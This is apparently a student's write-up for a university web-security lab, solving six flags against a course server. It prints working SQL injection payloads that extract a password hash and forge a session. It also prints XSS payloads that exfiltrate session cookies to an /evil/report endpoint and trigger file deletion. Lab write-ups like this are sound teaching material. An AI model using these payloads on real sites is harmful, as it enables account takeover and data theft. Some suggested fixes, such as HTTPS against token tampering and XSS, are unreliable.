CS_161_Proj_3_Write_up_

.pdf

School

University of California, Berkeley *

*We aren’t endorsed by this school

Course

61C

Subject

Computer Science

Date

Feb 20, 2024

Type

pdf

Pages

3

Uploaded by DeaconFlagArmadillo23

Report
CS 161 Proj 3 Write up 1 CS 161 Proj 3 Write up Flag 1: dev I was able to find the password in the comments upon inspecting the element of the webpage. As seen below. <!-- Demo Login/Password: Username = 'dev', Password = 'we-love-security' --> == $0 Flag 2: ip.txt “Renamed” Password.txt file to ip.txt, “Opened” it on machine, put 161.161.161.161 as content, deleted existing file on the server, uploaded edited ip.txt, shared with cs161. Flag 3: shomil ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- On entering this into the List files “Search for a file: ______” we obtain shomil 's password hash Search results for ' UNION SELECT md5_hash FROM users WHERE username='shomil'-- 7f3af3a3ffd282bc516d4c45efa9112d Open Share Rename ip.txt Open Share Rename Suggestion: To prevent such an SQL injection attack, we can use parameterized queries or prepared statements instead of being able to user input SQL queries. We can also clean user input to remove any characters that could be used for SQL injection. Flag 4: nicholas We will edit the session token with SQL injection
CS 161 Proj 3 Write up 2 ' union select username from users where username= 'nicholas' -- The backend would think this is a request from nicholas and would enable us access to the account. Suggestion: We should use HTTPS for web traffic to prevent editing of the session tokens. Flag 5: cs161 For this exploit, we would first need to upload a random txt file to dev and then rename it to a particular file name given below. <script>fetch('/evil/report?message='+document.cookie)</script> We then share this file to the cs161 account to give the cs161 ’s session cookie by pushing it onto the /evil/logs page Suggestion: Cleaning and filtering the input to allow for safe input. Safe protocols like HTTPS. Flag 6: delete Using inspect and going to the network tab, we realize that pressing delete files redirects to the page https://box.cs161.org/site/deleteFiles. Because a search is displayed back to user, we can exploit this by putting a script in the URL. We modifying the original URL and inject an inline <script> tag exploit with: https://box.cs161.org/site/search?term=<script>fetch(‘https://box.cs161.org/site/delet eFiles',{method:'POST'})</script>; Suggestion: We can sanitize and escape all inputs from the user and potentially implement the Content Security Policy, which prevents users from performing XSS attacks with their inputs and prevents unexpected scripts execution.
Your preview ends here
Eager to read complete document? Join bartleby learn and gain access to the full version
  • Access to all documents
  • Unlimited textbook solutions
  • 24/7 expert homework help